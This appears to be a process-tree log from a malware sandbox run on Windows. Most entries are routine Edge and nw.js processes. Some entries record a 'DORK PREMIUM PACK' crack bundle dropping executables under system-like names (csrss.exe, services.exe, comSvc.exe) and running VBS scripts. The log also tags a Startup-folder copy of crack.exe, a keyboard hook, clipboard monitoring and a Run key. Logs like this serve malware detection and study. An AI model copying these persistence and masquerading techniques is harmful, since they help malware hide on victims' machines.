C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x220,0x248,0x7ff779725460,0x7ff779725470,0x7ff7797254803⤵PID:5200
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 /prefetch:82⤵PID:4112
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:12⤵PID:2676
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4104 /prefetch:12⤵PID:820
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:12⤵PID:5224
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:12⤵PID:5232
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6428 /prefetch:12⤵PID:5500
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4444 /prefetch:12⤵PID:5536
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:12⤵PID:5076
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7128 /prefetch:12⤵PID:4084
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6996 /prefetch:12⤵PID:5512
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:12⤵PID:2676
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7152 /prefetch:12⤵PID:5736
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6236 /prefetch:82⤵PID:4956
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7400 /prefetch:12⤵PID:5812
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7820 /prefetch:82⤵PID:2400
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6908 /prefetch:82⤵PID:2172
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1836 /prefetch:82⤵PID:648
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7472 /prefetch:82⤵PID:4240
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7272 /prefetch:22⤵PID:1852
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6344 /prefetch:82⤵PID:2836
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1948 /prefetch:82⤵PID:2820
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7216 /prefetch:82⤵PID:1080
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,13881902843080585972,8019571158747625503,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:12⤵PID:4088
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\nwjs-v0.71.1-win-x64.zip"2⤵PID:5380
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:5736
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
PID:4756 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\628ec20f-a69d-47db-b7dc-ddc048a64635.vbs"2⤵PID:3648
-
C:\Program Files\Windows Mail\comSvc.exe"C:\Program Files\Windows Mail\comSvc.exe"3⤵
- Executes dropped EXE
PID:5604
-
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\07236d14-3fd1-409b-9be2-21ddbaeee93e.vbs"2⤵PID:5864
-
-
C:\Users\Default User\csrss.exe"C:\Users\Default User\csrss.exe"1⤵
- Executes dropped EXE
PID:3756
-
C:\Program Files\7-Zip\Lang\Registry.exe"C:\Program Files\7-Zip\Lang\Registry.exe"1⤵
- Executes dropped EXE
PID:4960
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\DORK PREMIUM PACK.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\DORK PREMIUM PACK.exe"1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:5556 -
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious behavior: AddClipboardFormatListener
PID:1992
-
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵
- Executes dropped EXE
PID:2688
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe"1⤵PID:3036
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵PID:5344
-
C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"C:\Users\Admin\Desktop\DORK PREMIUM PACK\crack.exe"1⤵PID:5692
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"1⤵
- Checks computer location settings
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:1228 -
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffbaf7cecc8,0x7ffbaf7cecd8,0x7ffbaf7cece82⤵PID:4260
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x1d8,0x1dc,0x1e0,0x1d4,0x1e4,0x7ff78c28dea0,0x7ff78c28deb0,0x7ff78c28dec03⤵PID:1536
-
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=2204 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:5244
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --mojo-platform-channel-handle=2108 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:2096
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --nwjs --extension-process --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=3128 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:12⤵
- Checks computer location settings
PID:5708
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1840 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:22⤵PID:6064
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3860 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:4796
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4040 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:4356
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4048 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:5432
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4052 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:6084
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=4064 --field-trial-handle=2180,i,10087537410450312525,12611052790447911539,131072 /prefetch:82⤵PID:3136
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"1⤵
- Checks computer location settings
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4816 -
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x200,0x204,0x208,0x1e0,0x20c,0x7ffbafa0ecc8,0x7ffbafa0ecd8,0x7ffbafa0ece82⤵PID:4156
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exeC:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\nwjs\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\nwjs\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=nwjs --annotation=ver= --initial-client-data=0x1d8,0x1dc,0x1e4,0x1b4,0x1e8,0x7ff78c28dea0,0x7ff78c28deb0,0x7ff78c28dec03⤵PID:2084
-
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --mojo-platform-channel-handle=2144 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:4120
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --start-stack-profiler --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=68 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:22⤵PID:4756
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=2252 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:6008
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --nwjs --extension-process --event-path-policy=0 --first-renderer-process --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\gen" --no-zygote --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2856 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:12⤵
- Checks computer location settings
PID:5308
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3600 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:1844
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3772 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:1040
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3668 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:5276
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3784 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:5256
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\nw.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\nwjs\User Data" --nwapp-path --mojo-platform-channel-handle=3308 --field-trial-handle=2088,i,13933246901201843434,11412441387858351637,131072 /prefetch:82⤵PID:4720
-
-
C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\notification_helper.exe"C:\Users\Admin\Desktop\nwjs-v0.71.1-win-x64\notification_helper.exe"1⤵PID:2264
-
C:\DriverHostCrtNet\services.exeC:\DriverHostCrtNet\services.exe1⤵PID:928
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default1⤵
- Adds Run key to start application
- Enumerates system info in registry
PID:6064 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffba94c46f8,0x7ffba94c4708,0x7ffba94c47182⤵PID:3796
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:22⤵PID:2836
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 /prefetch:32⤵PID:5404
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2872 /prefetch:82⤵PID:1828
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2204,11238805053843931585,14098667295274492128,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:12⤵PID:2092
-
-
